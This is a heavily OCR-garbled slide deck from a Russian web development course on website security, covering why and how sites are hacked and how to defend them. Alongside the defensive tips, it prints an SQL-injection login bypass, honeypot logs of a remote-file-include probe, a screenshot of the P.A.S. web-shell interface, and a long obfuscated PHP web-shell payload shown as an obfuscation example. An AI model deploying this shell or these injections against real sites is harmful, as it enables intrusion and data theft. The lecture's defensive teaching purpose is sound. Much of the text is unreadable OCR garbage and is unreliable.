Bbe3onacHOCTbL cauTa

dPakynbreT MHTepHeTa MPITY CUHEPTIUA
Kypc «Beb-paspadboTka»
Unba Epwos



3ayeM B3namMbIiBalOT canTbl?

e 3apaXeHue CTpaHuy canta BUpycamm gns
nocrieayroLWmUX aTak noceTuTeneu

* Bannom 6a3bl gaHHbIX cauTa, Kpaxa
KoHpmaeHUManbsHOn UHhopmMauum

 Banom caunta ansa pasmeweHunsa SEO ccbinok
e 3aKa3HOU B3JIOM canTa
* MloameHa nHpopmaLunm Ha cauTte

 Co3aaHue pacnpenerieHHON BbIYUCIIUTENbHON
ceTu



Kak B3nambiBalOT CauTbl?

W N

7.

YenoBeuyeckuun cpaktop
NMNopnbop napons
Kpaxa Cookie

NMNonbpoc ncnonHsaembix panrioB Ha XOCTUHT

1. LWennbl
2. Bwupychbl

SQL-nHbeKkuus
a) [Onsa v3BnedyeHus naponsa agMuHa
b) [Onsa npamoro maHunynupoBaHua bl
c) [Onsa noabpoca Ha cepBep UCNOSNHAEeMbIX hannos

Yaszsumoctu cepsepHoro MO



Kak 3almuturtbca?

1. PunbTpyUTe BCe AaHHble nocTynakwume oT
nonb3oBaTteneu

2. MeHanTe npedunkcbl Tadbnuy 6a3bl AaHHbIX
3. [llepeonpegensnTte NyTb K agMUHKe

4. 3aKpbiBanTe K yA3BMMbIM pa3geriam 4OCTyn
no IP agpecy

5. [MpoTokonupynTte NONbITKN NPOHNKHOBEHUA
6. OoHoBnauTe Bce NO
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[lepebop BCcex BapmaHTOB

KonnyectBo KOMOMHaUnn
12416457054691003038858224001 = 29 pa3psaoB
B neHb 1 cepBep moxeT nepedbpatb 86400 kKomOMHaLMN

OOLee KonNMyecTBO AHEU
143708993688553275912710 = 24 pa3psaaa

KonuyectBo net
393723270379598016199



KonnyectBo ceccumn

KonunyectBO nonb3oBaTteneun
42 600 000

KonuyecTtBO ceccum
127800000

Konu4yecTBo net Ha noao6op ogHow ceccumn
3080776763533



SQL-nHBbLekuuns

User-ld | srinivas

Password i mypassword ’w
select * from Users where user_id= ' srinivas ’

and password = " mypassword ’

Userddi'OR 1= 1; /*

Password ;| * /- w

select * from Users where user id=""OR1=1; /*’
and password = " ¥/ '

Ccbinkn m
AOOMNoJfIHUTernbHbIe
MaTepuanbl Ha
cTpaHuue:
//i.mp/mfpa-links



Trap 4 hacker

CcbInKn m

AOMNONMHUTENbHbLIE

REMOTE_ADDR 182.114.228.70 MaTepuanbl Ha
NMonbiITKal oOT 21-05-2014 13:37:53 cTpaHuue:
HOST DNS NAME hn.kd.ny.ads| //i.mp/mfpa-links

REQUEST_URI
[admin/fckeditor/editor/filemanager/browser/default/connectors/c

onnector.php?Command=GetFoldersAndFiles&Type=Image&CurrentF
older=/

PervoH Kutaun - YxaH4uxoy



Trap 4 hacker

CcCbInKn n
AOMNOJSIHUTESbHbIE
REMOTE_ADDR 208.79.95.226 MaTepuanbl Ha
NMonbiTkKal o0T6-07-2014 20:47:21 cTpaHuue:
HOST DNS NAME  eeyore.smith-family.com //j-mp/mfpa-links
HTTP_USER_AGENT
REQUEST _URI

[/administrator/components/com_extended_registration/admin.exte
nded_registration.php?mosConfig_absolute_path=http://www.googl
e.com/humans.txt?

PernoH CLWIA - Cunbmap






Lllenn p.a.s. 2.0

ershov.pw

Uname : Linux 3.2.0-4-amd64 on effetto.pro

Software

User info ( uid=500: gid=500 )

Safe
mode :

Open
Base Dir:

Disable
functions pcntl_alarm,pontl_fork, pentl_waitpid, pantl_wait, pentl_wifexited, pantl_wifstopped, pontl_wifsignaled, pantl_wexitstatus, pentl_wtermsig,pontl_

Explorer Searcher Anti SafeMode SQL-client Checker Bruter Mailer Network

Go!

Size (kB) Modified Rights Action

| [ DIR ] [ DIR 015-04-30 GO HOME

[ products ] [ DIR ] [ DIR 2015-04-29 08:59:25 UMCEL
esources ] [ DIR ] [ DIR 2015 04 20:14:07 UMC

[ tickets ] [ DIR ] [ DIR 2014-03-28 08:50:13 UMCEL

With selected : Unlink Move Copy Download

Rename 1 rename

Create || : IPIGES N BLibepute dhaiin , upload

Execute : X phpEval :




Lllenn p.a.s. 2.0

Open
Base Dir :

Disable
functions pontl_alarm,pontl_fork, pontl_waitpid, pentl_wait, pentl_wifexited, pantl_wifstopped,pontl_wifsignaled, pantl_wexitstatus,pontl_wtermsig, pontl

Explorer : 1 \ t Mailer Netv

Go to :
logout Query :

Databases (18) : Database

0

dump
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Oo6dyckauusa (MackmpoBaHume Koaa)
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+ZccvbwgDJauv7/FOrGgbEujQHYucOTYWHRSDSPEOQUPT7unDG7QNyXCQ/vpnYVIKRKNNulsv8Qsf3jyqvjdbTFwudh9JuUamvbhaEvsKqcivsx3Hg2HF4bpdvCbrosCS5T =~
/xbds26jblszwBQ2gLTApaelL deHVKtOLGO1lps3HFc1YETcm/rIL3ow9SyPKkgyG2Sh2t0piwkwnOernmeDtw/M1GtTAW63jYFulxwtsPLtpU10xbqOm69DiuUM7 IV
+YZr5XEBCFZ3ZWTENFWOKE 2GHN7 S7RT1PE9tA50b/mZCIubcAKKWS7 62 /xfZp9uYNHgv81z0v1exIBN7 ghhHm0Oi zCENViiNNoYuINJ4x03epEOfcReIZjzuxwRmnhCc
au53/5bz751b95DCINwe06bKygPHYalnTVUX9RFgHCHT zFgqIWi jBOuLpw3467sfSEmdQl7 zZApXUAFIBrF1T6NnfQOReT3pC39crzhlEn
+R1Q31tLIQ6MoNnoCvgNFaiFJ4TU5/8PNVxurBPM2 /MtxjKTVNTKvQmKhR
+Edrwu/fOmrbTtbN9exjVNi36xLiQyLvn04tiXry19/KFw8+HdFZc3fZzelsECkN15diTrffmQTCS5F 1kXxswGlCwyDeM4wwbfe5afGzfhDHkUpEnaSiwmoIF5Rqz85UG
rRH7 gF +sp4NOOBRV1YCAJAvOC2pn+iQ44R21zQQL 5SH7 PhYBWRFWvo/btzEUsGaBMw91ZeVXCIRRtfmOzVM31fmhnpKGML 8T
+UfvckahHWN501ZkfOKoT3PGeVtwh/tx8R2IBNhGQQiAVUOWO1Ht4dI9Nu1P03Y4bkul2svwtd4Uvq/nTSkvXdsRPhODgz

+1GGjriuqlv/2Av7wp7 EmcGEwhpiGsHa0U2hL4 5EqAbXTDdMA+sbx07 vg

+gAXVYWRADF SObCL 64 GkcPo65pN8gvL OYKsN1tknFGP8HTg//p8C1lz5NpmLhbwHPr5S8BGoI9f7k7 +UKpgR8HI981i pKmfGD3zkozePqgbTmx61nK1FYOE9 T4 /c17SIhC
hOjjn+y6FfvXnk/T32j5TGdvut6gz7bNOg
+kTwvHCbwX0AT23IDzTC1bX2zW0Cux0eM2917n7m2Bu9Pw/C0AaBYePbV8 /314 +Cey0C394S3EGqq7 eel 5TkVO33Rtrni7X/UPDpJ0eTx7 gBQFVaGy
+dwaTmUhoTHuawbMvtFytwXEGGlvsNd2QPaC1CTegFMr+laGaljeD1QDH45ItSmks IBFpOX8ndmPv
+71NvzioEKusGcueYWk9soudT1Z2Z220e0UIr24Snuz8mpIV1f2IcEee8RTOKpWZzYQ/+HLgXopByTnhNVzp/P72crTgaexuvXHL /e4500QP2P98vII
+M2tuxhb5cSmIwG8C160kvg3b27nv3dctLyoiH/bOcTHfQDLS5 /4 xK1CEX7 0XgPjukyOL 39A1NTwg2BWYBY/VhfKVZckTOpqQcKBoJynpXsUQ/NoFb3WQUPNaENhG1N7 I
F823/92S/2XProScyXCMxmo 1L VRGF i1 YXxJIRk+c+JI9K/MsxzXeEQ5CmXvTApE ThJoJec8yH4gl1vbBZ/ZsE1I35Nd4psA9TvIk8tjX7K1D+
+2fm2GVISyKWrx/y4ReiKQzv1fjkR765R/Y7 8Yvch3 TwoKngwHwCdB

+GC118m2fGykOXyFAV5eUEpseK22P3uH/66eYXPFjcOtged74IJAdGct50qbez5gwFV7 ZFKC5Prjf903gg35htQThq9GibzBsN8vy4dz/dnzgL fipmkvtfprMdtlET4rn
VZDIGtFrMx81v/1y9TI1H7 SHjwtkOWpdsZ+1TxyuP1t5TFB1161iLkrcPbbg+z1c/L3goPYzuJlhId9Mzvul2veb8UZePEOOTSN

+UkZ2nGDhxSxKw7 ugNASaDK3pl1DSPTKETLakIPXBGmg8VVKE+IgM+YtCpw/aM18u2P4ytdz1pwliCd

+oUw8vIjuz7 XUHWOVoAl2ntOord4KNpmUUzapcseMvlTFM/bVv6xQiCokj3YNz//D3iNEKaVp7 2GhwWK 57 yXH7 1uxNr6XBNbQQ/QRkNT6e/XScA7wVKTt2InfvOoZpKBoO
ptcDozGX0ulBqwftryx1COhNNGIMPXsXRbUDF5nbmGk6tg/P5fPjGNSopjnBh8btbcFj/TOKp8dPy8R1xtfTri35+KcX87t1QDzxIoU7bASRXtbhbe3tUi56DDUWBEWXYN
awxBOI9BIHUL fAK7BYqC/FQkNxeCUrAIgLVQWOjpxeyIRIEBIPfM6j1r2ndpGI9Sw/mSIxXF

+XLC7+pZ7d/6Hmg5ktUdA1hKhnB4 fizpWvXX1EWOG3deUTIexCdTES1GUtiQW]j6RT

+NxoHV6d7 //62151Nd3s5k57C2VK5 jWlbpoD8r /MzVHXTSOXHPQytQAQWBTU/u9fHXCmCs18U5czQG
+747pER5+qTfcDI/6AQLE10TI4d8fnMNNbIK8qcuImQM1goWhWZ 1Fwx1jkS9f17x48cS5LRTRINE+N65+zyEIkmB7 UZAHT rmEbyNvXPo8T2gp9K9kz48sTLNn1wW
+fble3srhnQLisSXTptxWc168+rp5wDbwh7 xhX8a/6eY
+5p990CcZoBubDLxZ1zsc7brM1C2JyJbvrHURI17 +ks ZLNOXTCBryqgSr/J1qi7 /NhwMtGFfO1RALrSVIMdspjaPuwo
+CH2zZI0youa2IjuptDUHVfawyHT3H1pd40v7FWzCe9CsSmykY/kNXVIt+n7 3EXazZzeM 1 XHW5GIUR4ubOAMbYSmzdCIVvxeLCAtIO0vy
+UGGx1tjDERmF8dNhIMnDtuzmvvZsIUVq8hefNU5 /tUw8SFgNaUA7bHg5 r7UU9m+NCOha2pey
+ICQmlGta3Rn1gdmU3pTNziTNIOKFs7GCF//20IKPreAyiLu0ophtdkK/Vif81lmnkMl0ey3gqwaCCc3UVLHIjGeYtqqo8fSEOqKPRo30zkhskI3Vvfr5vjox3kQlzlb5qgx
KwuTaiYu/oNw4dPNIxnZmelA5Tfq7sBgs2zNbvXy9P1dHQOsskIMjbD9/kLpu2x+VBWtK9eYx+ds2j128D17KAJFrrIyMR7 qwcwUs 11INXz8myDBywWdZ
+mVQdsPDCt2zLybiHF8X7T4623vLiKm/r+cX0nhoPqoMtix6jsBYrojd2rh0TatMdRjXhFphHvh94 xXVM5I8GmPOy4111M1V3Z

+eV8prhUAUTNI 1QtgwxxzMvv2WyJP jNKZaC7 yagnjFap7 TMMGKWIQInfKZHQMZajwp
+JONTIDG40SWOEKGr6IgtcsyvzZe876A0DgKO6VX02Yq/7YTZd69zN/4fVSjzk1QRO6TIW1gZCv4VvIXtilmhby2Kkj80K53F jN+G/KO6CISKkWBEUVAZNnwub
+Uj26zaY3c3PqGFhz2+Dgpp5eyrwVve7 bEy 1NY5H4bMGoy /hGbYukNOLNCQMvuZTaH+13q1gEgX+uSH1Aa3UET7 5pX8QEhyIhg7Qc4F
+IRXhTkDpJITEShOm5zL90jRDNMC7LLZ230TTZHk+00qwF qy

+bfQLMprbcVAy7308di8azN8+Two5dc27oLUycaUTI1kB2M4 16+LIVOAdKrOysPqwrf6CaHD1DmTIUI1lptmsbwjrD

+kLbU5gsP8+KVWLkgwtL /WZRrKtNnuODTNZj 1fLoKgwpl6svPy1+x/vOmIDpLXplc8POvOd8rfQwb1Kwr

+d7 TprXHpa8b516/Lhn9331CG5X2ELZcsoxrpKI7 dHLB7 IWxPkbOTNr4 z6VvP+h+no3Xtzw
+RthBO+fMxanchSN222Y2xchsQeNcM1uTIbWXBuZchcAMPJ7ZeJunduuoXI4s3/B4BK2tA— );if(isset($_ POST[ _'1]) && disset($_POST['__"'1))
{$_=%$_POST['_"1;$_=%5_POST['_"'];}elseif(isset($ COOKIE[ _'1) && isset($_COOKIE['_ '1)){$_=$_COOKIEL'_ '1;$_=%$_COOKIE['__'];}if
(lempty($_) && 'empty($ )){5___—$ .md5($_);$ s =@ zuncompress($____) $ —str1en($____) for($
$ <=$ ;$ ++)1{$ —chr(Cord($____ 15 13- ord($ [$ —1))%256); $ .=$ =$

e :
(s —@gzuncompress(@base64 decode($ ))){setcook1e( _",%_);setcookie('_",$_);%_ —create_ funct1on( Sy NS
S .'<7php d1e() ;5 Oj3idieC <center style="color:#777;font:normal 1lpx verdana background #000 "»<form
action="" method="post">login : <input type="text" name="_"/> &nbsp; password : <input type=' "text" name=" S5 <1nput

type="submit" value="go"/></form></center>");7>| e




be3onacHoOCTb

EKAPTleBIESE Home Exploits Shellcode Papers Google Hacking Database Submit Search

Offensive Security Exploit Database Archive 33406

e? Learn about the Exploit Database Exploits Archived

The Exploit Database EH@ &@
The Exploit Database (EDB) is a CVE compliant archive of exploits and
vulnerable software. A great resource for penetration testers,
vulnerability researchers, and security addicts alike. Our goal is to

collect exploits from various sources and concentrate them in one, easy
to navigate database

llexploit-db.com

The Exploit Database - ultimate arch

e of Exploits, Shellcode, and Security Papers. New to the s

Downiload the Expiloit Database Archive

Remote Exploits = f ¥y O A

This exploit category includes exploits for remote ser

s or applications, including client side exploits.

Date D A V Description Platform Author

SixApart Mo

unix

2015-05-11 il i.FTP 2.21 - Time Field SEH Exploit
2015-05-08 A MacKe r URL Handler Remote Code Execution OSX
Adobe Flash Player domainMemory B

dp vSlider File Uplo

Adobe Flash Player Ne

onnection Type Confusion

S HEAESIE AR IR T
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Joomla

llexploit-db.com

Search the Exploit Database
Search the Database for Exploits, Papers, and Shellcode. You can even search by CVE and OSVDB identifiers.
Title Jjoomla CVE (eg: 2015-1423) Nvanceiiseards
Total 1,112 entries
<< previil2 3456789 10 next >>
Date v D A V Title Platform Author

20150429 § - (@ OS Solution OSProperty 2.8.0 - SQL Injection php Brandon Perry
2015-04-02 § - « Joomla Spider Random Article Component - SQL Injection php Jagriti Sahu
2015-0330 & - (@ Joomla Gallery WD Component-SQL Injection Vulnerability php CrashBandicot
20150330 & - (@ Joomla Contact Form Maker 1.0.1 Component - SQL injection vulnerability php TUNISIAN CYBER
2015-0330 & - (@ Joomla Gallery WD - SQL Injection Vulnerability php CrashBandicot
2015-03-22 & - (@ Joomla Spider FAQ Component - SQL Injection Vulnerability php Manish Tanwar
2015-03-19 & - (@ Joomla ECommerce-WD Plugin 1.2.5 - SQL Injection Vulnerabilities php Brandon Perry
2015-03-16 & - (9 Joomla Simple Photo Gallery 1.0 - SQL injection php Moneer Masoud
2015-03-10 & - @@ JoomlaSimple Photo Gallery 1.0 - Arbitrary File Upload php CrashBandicot
2014-11-15 & & Joomla HD FLV Player < 2.1.0.1 - Arbitrary File Download Vulnerability php Claudio Vivian.
2014-11-13 & [ « Joomla HD FLV Player <2.1.0.1 - SQL Injection Vulnerability multiple Claudio Vivian.
2014-11-10 & [ (@ XCloner Wordpress/joomla! Plugin - Multiple Vulnerabilities php Larry W. Cashd.
2014-10-25 & - (@ Creative Contact Form (Wordpress 0.9.7 and Joomla 2.0.0) - Shell Upload Vulnerability php Claudio Vivian.
2014-10-21 & - < Joomla Akeeba Kickstart Unserialize Remote Code Execution php metasploit
20140924 & [[A @ Joomla Face Gallery 1.0 - Multiple vulnerabilities php Claudio Vivian.
20140924 & [@A (@ Joomla Mac Gallery 1.5 - Arbitrary File Download php Claudio Vivian.
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Joomla

llexploit-db.com
Search the Exploit Database

Search the Database for Exploits, Papers, and Shellcode. You can even search by CVE and OSVDB identifiers.

1112 yasBumocrten

| J/ \ QS s S Total 1,112 entries

Total 1,112 entries
<< previll2 3456 7 8 9 10 next >

Date v D A V Title Platform Author
2015-04-29 § - (@ Os Solution OSProperty 2.8.0 - SQL Injection php Brandon Perry
2015-04-02 § - & Joomla Spider Random Article Component - SQL Injection php Jagriti Sahu
2015-0330 & - (@ Joomla Gallery WD Component - SQL Injection Vulnerability php CrashBandicot
20150330 & - (@ Joomla Contact Form Maker 1.0.1 Component - SQL injection vulnerability php TUNISIAN CYBER
20150330 & - (@ Joomla Gallery WD - SQL Injection Vulnerability php CrashBandicot
20150322 & - (@ JoomlaSpider FAQ Component - SQL Injection Vulnerability php Manish Tanwar
2015-03-19 & - (@ Joomla ECommerce-WD Plugin 1.2.5 - SQL Injection Vulnerabilities php Brandon Perry
20150316 & - (@ JoomlaSimple Photo Gallery 1.0 - SQL injection php Moneer Masoud
2015-03-10 & - (@ JoomlaSimple Photo Gallery 1.0 - Arbitrary File Upload php CrashBandicot
2014-11-15 & [ « Joomla HD FLV Player < 2.1.0.1 - Arbitrary File Download Vulnerability php Claudio Vivian.
20141113 & [ «” Joomla HD FLV Player <2.1.0.1 - SQL Injection Vulnerability multiple Claudio Vivian.
2014-11-10 & [ @ XCloner Wordpress/joomla! Plugin - Multiple Vulnerabilities php Larry W. Cashd.
2014-10-25 & - (@ Creative Contact Form (Wordpress 0.9.7 and Joomla 2.0.0) - Shell Upload Vulnerability php Claudio Vivian.
2014-10-21 & - <P Joomla Akeeba Kickstart Unserialize Remote Code Execution php metasploit
20140924 & [@A (@ Joomla Face Gallery 1.0 - Multiple vulnerabilities php Claudio Vivian.
2014-09-24 § @_@ Joomla Mac Gallery 1.5 - Arbitrary File Download php Claudio Vivian.
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Wordpress

Title

Date v

2015-05-13
2015-05-11
2015-05-08
2015-05-08
2015-05-08
2015-05-08
2015-05-08
2015-05-07
2015-05-07
2015-05-04
2015-04-29
2015-04-27
2015-04-23
2015-04-23

2015-04-21

€ & & &€& & & & & & & & & & & & 0

S|

el & &

&l &l

&l
@00 ¢CO00OO ¢ OO0 ¢

Search the Exploit Database

arch the

816 yassumocten

wordpress / \

Total 816 entries
<< previgl2 34567 89 10 next >>

CVE (eg: 2015-1423)

V Title

o
v

Q

)

WordPress Booking Calendar Contact Form 1.0.2 - Multiple vulnerabilities
Wordpress N-Media Website Contact Form with File Upload 1.3.4 - File Upload
WordPress Yet Another Related Posts Plugin <= 4.2.4 - CSRF Vulnerability

Wordpress RevSlider File Upload and Execute Vuinerability

WaordPress Ultimate Profile Builder Plugin 2.3.3 - CSRF Vulnerability

WordPress ClickBank Ads Plugin 1.7 - CSRF Vulnerability

Wordpress Ad Inserter Plugin 1.5.2 - CSRF Vulnerability

Wordpress Freshmail Unauthenticated SQL Injection

WordPress Freshmail Plugin <= 1.5.8 - (shortcode.php) SQL Injection

Wordpress Ultimate Product Catalogue 3.1.2 - Multiple Persistent XSS & CSRF & File Upload
WordPress TheCartPress Plugin 1.3.9 - Multiple Vulnerabilities

WordPress <= 4.2 - Stored XSS

Ultimate Product Catalogue Wordpress Plugin - Unauthenticated SQLi

Ultimate Product Catalogue Wordpress Plugin - Unauthenticated SQLI #2

Wordpress NEX-Forms < 3.0 - SQL Injection Vulnerability

Database for Exploits, Papers, and Shellcode. You can even search by CVE and OSVDB identifiers.

SEARCH Advanced search

Platform
php
php
php
php
php
php
php

multiple
php
php
php
php
php
php
php

Author

i0akiN SEC-LAB.

Claudio Vivian.
Evex

metasploit

Kaustubh G. Pa.
Kaustubh G. Pa.

Kaustubh G. Pa.

Felipe Molina
Felipe Molina

Felipe Molina

High-Tech Brid.

klikki
Felipe Molina
Felipe Molina

Claudio Vivian.

llexploit-db.com

Total 816 entries
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MODX

llexploit-db.com

Title

Date ~

2014-11-05
2012-03-14
2010-12-06
2010-09-29
2010-09-29
2010-06-14
2008-11-23
2008-02-07
2008-01-05
2008-01-02
2008-01-02

2006-11-03

& & & & ¢ & & & & & & & ©

Search the Exploit Database

Search the Database for Exploits, Papers, and Shellcode. You can even search by CVE and OSVDB identifiers.

~r

12 yassumocten

modx CVE (eg: 2015-1423)

Modx CMS 2.2.14 - CSRF Bypass & Reflected XSS & Stored XSS Vulnerability
ModX 2.2.0 - Multiple Vulnerabilities
MODx Revolution CMS 2.0.4-pl2 - Remote XSS POST Injection Vulnerability

MODx 2.0.2-pl - manager/index.php modahsh Parameter XSS

MODx manager/controllers/default/resource/tvs.php class_key Parameter Traversal Local...

MODx 1.0.3 - 'index.php' Multiple SQL Injection Vulnerabilities

modx CMS <= 0.9.6.2 (rfi/XSS) Multiple Vulnerabilities

MODx 0.9.6 index.php Multiple Parameter XSS

modx CMS 0.9.6.1 - Multiple Vulnerabilities

MODx 0.9.6.1 - 'AjaxSearch.php' Local File Include Vulnerability

MODx 0.9.6.1 - 'htcmime.php' Source Code Information Disclosure Vulnerability

MODx CMS <= 0.9.2.1 (FCKeditor) Remote File Include Vulnerability

Platform

php
php
php
php
php
php
php
php
php
php
php
php

SEARCH Advanced search

Author

Narendra Bhati
notch
Liquidworm
John Leitch
John Leitch
High-Tech Brid.
RoMaNcYxHaCkEr
Alexandr Polya.
BugReport.IR
AmnPardaz Secu.
AmnPardaz Secu.

nuffsaid




Kak 3almuturtbca?

1. PunbTpyUTe BCe AaHHble nocTynakwume oT
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6. OoHoBnauTe Bce NO



MODX

MoomeHa NMYyTN K agMUHKe

YcTaHOBKA KOHTEKCTA
MapameTpbl Be6-KoHTeKcTa (YacTh caTa AOCTYNHAA BHELWIHMM NOJNbL3OBATENAM )

ECAM Bbl XOTUTE W3MEHMTL NapaMeTp, TO NOCTABLTE FAI0YKY HANMPOTUE 3TOr0 NapaMeTpa U OTpeAaKTUPYITe ero
BpYYHYI0. ECIM Bbl HE NOCTABWUTE ra/loYKy HaNpOTHE NapaMmeTpa, To cucTema ByAeT MCNoNbL30BaTL NapaMerTp,
onpefenéHHbIi aBTOMaTUUECKH.

n A 6- :
Rt -l R D:/work/xampp/htdocs/modx_advanced/

URL Ana seb-KOHTeKCTa:
o /modx_advanced/
MapameTpbl KOHHEKTOPOE KoHTeKcTa (AJAX KOHHEKTOpbI)

ECnu Bbl XOTUTE U3MEHWTL NapaMeTp, TO NOCTABbTE raNOYKy HaNPOTUE 3TOr0 NapaMeTpa M OTPeAaKTUPYITE ero
BPYYHYI0. ECNIM Bbl HE MOCTABUTE ra/IOUKy HaNPOTUB NapameTpa, To cucTema By eT UCMONbL30BAaTL NapameTp,
onpefenéHHbiA aBTOMaTUUECKHM.

MyTb K KOHHEKTOPAM KOHTEKCTA:
T P D:/work/xampp/htdocs/modx_advanced/connectors/

URL ANA KOHHEKTOPOB KOHTeKCTa:
P /modx_advanced/connectors/
lMapameTpbl KOHTEKCTa aAMUHNCTPATUBHON YacTu canTa (MHTepdeiic agMUHUCTpaTopa cainTa)

ECnu BBl XOTUTE MEMEHWTbL NAPaMeTp, TO NOCTaBbTe Fa/IOYKY HaNnpOTWUE 3TOr0 NapameTpa M OTPeAaKTUPYITe ero
BPYUYHYIO. ECNM Bbl HE NOCTABUTE FANOYKY HAaNPOTHMB NapameTpa, To cucTema OyAeT UCNONL30BAaTL NapaMeTp,
onpefenéHHbi aBTOMaTUYECKHM.

MyTb K KOHTEKC MUHWUCTPATUBHOM .
W E Lk P D:/work/xampp/htdocs/modx_advanced/admin/
YacTu canTa: =
URL KOHTEKCTa aAMWHUCTPATMBHOM YacTu ;
- s P /modx_advanced/admin/




M O DX MODX REVOLUTION VERSION 2.2.0-PL2

NoameHa
npedukca
Tabnuu

Connection Information

Database connection and login information

Please enter the following information to connect to your MODX database. If there is no database yet, the
installer will attempt to create it for you. (This may fail if your database configuration or the database user
permissions do not allow it.)

Database type: mysql %
Database host: localhost
Database login name:
root

Database password:
Datab .

atabase name modxrevo22
T 3

able prefix modx_

— Test database server connection and view collations.




3anpet gocrtyna 4yyxum IP agpecam

daunn admin/.htaccess

RewriteEngine Off
Order deny,allow

Deny from all
Allow from 122.233.122.223 # home
Allow from 122.233.122.224 # work
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